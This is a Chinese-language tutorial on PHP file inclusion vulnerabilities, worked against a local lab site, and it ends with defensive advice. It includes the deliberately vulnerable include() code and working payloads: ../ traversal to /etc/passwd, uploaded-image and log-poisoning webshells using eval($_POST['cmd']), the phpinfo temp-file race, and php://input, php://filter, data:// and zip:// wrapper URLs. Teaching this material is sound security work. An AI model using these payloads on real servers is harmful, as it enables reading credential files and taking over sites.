文件包含漏洞
1、文件包含漏洞描述
程序在引用文件的时,引用的文件名,用户可控的情况,传入的文件名没有经过合理的校验或校验不严,从而操作了预想之外的文件,就有可能导致文件泄漏和恶意的代码注入。
程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,而无需再次编写,这重文件调用的过程一般被称为文件包含。
程序开发人员一般希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。
几乎所有脚本语言都会提供文件包含的功能,但文件包含漏洞在 PHP Web Application 中居多,而在 JSP、ASP、ASP.NET 程序中却非常少,甚至没有,这是有些语言设计的弊端。在 PHP 中经常出现包含漏洞,但这并不意味这其他语言不存在。
2、PHP中常见文件包含函数
- include():执行到 include 时才包含文件,找不到被包含文件时只会产生警告,脚本将继续执行
- require():只要程序一运行就包含文件,找不到被包含的文件时会产生致命错误,并停止脚本
- include_once()和 require_once():若文件中代码已被包含则不会再次包含
漏洞部分代码如下
$html='';
if(isset($_GET['submit']) && $_GET['filename']!=null){
$filename=$_GET['filename'];
include "include/$filename";//变量传进来直接包含,没做任何的安全限制
// //安全的写法,使用白名单,严格指定包含的文件名
// if($filename=='file1.php' || $filename=='file2.php' || $filename=='file3.php' || $filename=='file4.php' || $filename=='file5.php'){
// include "include/$filename";
// }
}
$_GET[‘filename’] 接收客户端传的参数,其中没有任何过滤 带入到 include 函数中,include 包含这个文件,引入到当前文件中,因此会造成文件包含漏洞。
3、文件包含漏洞的利用方法
文件包含漏洞,需要引入上传的文件到网站目录,或是服务器内部的文件,而且是权限是可读,才能引入进来,或远程包含进来,但是需要条件。
3.1 本地包含文件
本地包含文件,被包含的文件在本地。
如上代码,没有做安全校验,直接读取当前目录下的文件,我们可以传入../
一层一层的返回,去查找敏感文件,如下:
http://192.168.3.16/06/vul/fileinclude/fi_local.php?filename=../../../../../../../etc/passwd&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2
直到查找到文件,找到之后会返回在页面上
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
。。。。省略下面很多内容
确认有这个漏洞,可以找个地方上传一个图片或者文件,新建一个文件,输入<?php phpinfo();?>
然后把后缀改成.jpg
,然后上传,拿到上传的路径,用上面的办法去找到文件上传到的路径
图片上传的位置为:06/vul/unsafeupload/uploads/s.jpg
漏洞包含的文件夹位置为:06/vul/fileinclude/include
所以构建的请求链接为:http://192.168.3.16/06/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/s.jpg&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2
就可以根据相对路径找到存在攻击语句的图片了。如果是一句话eval($POST['cmd']);
的话,可以直接用蚁剑进行连接,直接管理这个站。
4、包含日志文件 getshell
中间件例如 iis 、apache、nginx 这些 web 中间件,都会记录访问日志,如果访问日志中或错误日志中,存在有 php 代码,也可以引入到文件包含中。如果日志有 php 恶意代码,也可导致 getshell。
使用 burp suite 访问 GET 填写 <?php phpinfo();eval($_POST[cmd]);?>
,或者直接URL修改
http://192.168.3.16/06/vul/fileinclude/fi_local.php?filename=<?php phpinfo();?>
这条语句肯定是会报错的,进入到错误日志里面。浏览器可能会进行编码,可以用burp suite抓包直接在包里面进行修改即可。
在linux下日志文件权限默认是root 而php的权限是www-data 一般情况下都是读取不了,如果是windows环境下是可以权限是允许的。
linux 默认的 apache访问日志文件路径是:/var/log/apache2/access.log
linux 默认的 apache错误日志文件路径是:/var/log/apache2/error.log
如果权限足够,包含/var/log/apache2/error.log
这个文件就能 getshell
5、phpinfo 文件包含临时文件
在给 PHP 发送 POST 数据包时,如果数据包里包含文件区块,无论访问的代码中是否有处理文件上传的逻辑,php 都会将这个文件保存成一个临时文件(通常是/tmp/php[6 个随机字符]),这个临时文件在请求结束后就会被删除,同时,phpinfo 页面会将当前请求上下文中所有变量都打印出来。但是文件包含漏洞和 phpinfo页面通常是两个页面,理论上我们需要先发送数据包给 phpinfo 页面,然后从返回页面中匹配出临时文件名,将这个文件名发送给文件包含漏洞页面。 因为在第一个请求结束时,临时文件就会被删除,第二个请求就无法进行包含。但是这并不代表我们没有办法去利用这点上传恶意文件,只要发送足够多的数据,让页面还未反应过来,就上传我们的恶意文件,然后文件包含
- 发送包含了 webshell 的上传数据包给 phpinfo,这个数据包的 header,get 等位置一定要塞满垃圾数 据;
- phpinfo 这时会将所有数据都打印出来,其中的垃圾数据会将 phpinfo 撑得非常大
- PHP 默认缓冲区大小是 4096,即 PHP 每次返回 4096 个字节给 socket 连接
- 所以,我们直接操作原生 socket,每次读取 4096 个字节,只要读取到的字符里包含临时文件名,就立即发送第二个数据包
- 此时,第一个数据包的 socket 连接其实还没有结束,但是 PHP 还在继续每次输出 4096 个字节,所以临时文件还未被删除
- 我们可以利用这个时间差,成功包含临时文件,最后 getshell
6、伪协议
file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流
在 php.ini 里有两个重要的参数 allow_url_fopen、allow_url_include。 allow_url_fopen:默认值是 ON。允许 url 里的封装协议访问文件; allow_url_include:默认值是 OFF。不允许包含 url 里的封装协议包含文件;
6.1 php://input
php://input 可以访问请求的原始数据的只读流,将 post 请求的数据当作 php 代码执行。当传入的参数作为文件名打开时,可以将参数设为 php://input,同时 post 想设置的文件内容,php 执行时会将 post 内容当作文件内容。
- 注:当 enctype=”multipart/form-data”,php://input 是无效的。
- php.ini 条件是 allow_url_fopen =ON allow_url_include=ON
设置请求为 post 请求,抓包后修改请求头为POST /lfi.php?file=php://input
在正文输入 php 代码<?php phpinfo();?>
提交即可允许
6.2 file:// 访问本地文件
在本地包含漏洞里可以使用 file 协议,使用 file 协议可以读取本地文件
url地址构建语句
lfi.php?file=file:///etc/passwd
读取相对路径文件
http://192.168.0.103/lfi.php?file=./01/php.ini
6.3 php://
php:// 用于访问各个输入/输出流(I/O streams),经常使用的是 php://filter 和 php://input
有一下几种:
- php://input:可以访问请求的原始数据的只读流,在 POST 请求中访问 POST 的 data 部分,在enctype=”multipart/form-data” 的时候php://input 是无效的。
- php://output:写的数据流,允许以 print 和 echo 一样的方式写入到输出缓冲区。
- php://fd:(>=5.3.6)允许直接访问指定的文件描述符。例如php://fd/3 引用了文件描述符 3。
- php://memory php://temp:(>=5.1.0)一个类似文件包装器的数据流,允许读写临时数据。两者的唯一区别是 php://memory 总是把数据储存在内存中,而 php://temp 会在内存量达到预定义的限制后(默认是 2MB)存入临时文件中。临时文件位置的决定和 sys_get_temp_dir()的方式一致。
- php://filter :(>=5.0.0)一种元封装器,设计用于数据流打开时的筛选过滤应用。对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、file() 和file_get_contents(),在数据流内容读取之前没有机会应用其他过滤器。
url地址构建语句,使用协议读取文件源码
lfi.php?file=php://filter/read=convert.base64-encode/resource=/etc/passwd
读取文件后可以去burp suite里面再进行 base64 解码
6.4 读取压缩文件
用于读取压缩文件,zip:// 、 bzip2:// 、 zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可修改为任意后缀:jpg png gif xxx 等等。
# zip://[压缩文件绝对路径]%23[压缩文件内的子文件名](#编码为%23)
http://127.0.0.1/include.php?file=zip://E:\phpStudy\PHPTutorial\WWW\phpinfo.jpg%23phpinfo.txt
# compress.bzip2://file.bz2
http://127.0.0.1/include.php?file=compress.bzip2://D:/soft/phpStudy/WWW/file.jpg
http://127.0.0.1/include.php?file=compress.bzip2://./file.jpg
# compress.zlib://file.gz
http://127.0.0.1/include.php?file=compress.zlib://D:/soft/phpStudy/WWW/file.jpg
http://127.0.0.1/include.php?file=compress.zlib://./file.jpg
# phar://
http://127.0.0.1/include.php?file=phar://E:/phpStudy/PHPTutorial/WWW/phpinfo.zip/phpinfo.txt
# data://text/plain
http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>
# data://text/plain;base64
http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
7、文件包含漏洞防御方案
- 严格判断包含中的参数是否外部可控,因为文件包含漏洞利用成功与否的关键点就在于被包含的文件是否可被外部控制;
- 路径限制:限制被包含的文件只能在某一文件内,一定要禁止目录跳转字符,如:”../”;
- 包含文件验证:验证被包含的文件是否是白名单中的一员;
- 尽量不要使用动态包含,可以在需要包含的页面固定写好,如:include(‘head.php’)。
- 设置 allow_url_include 为 Off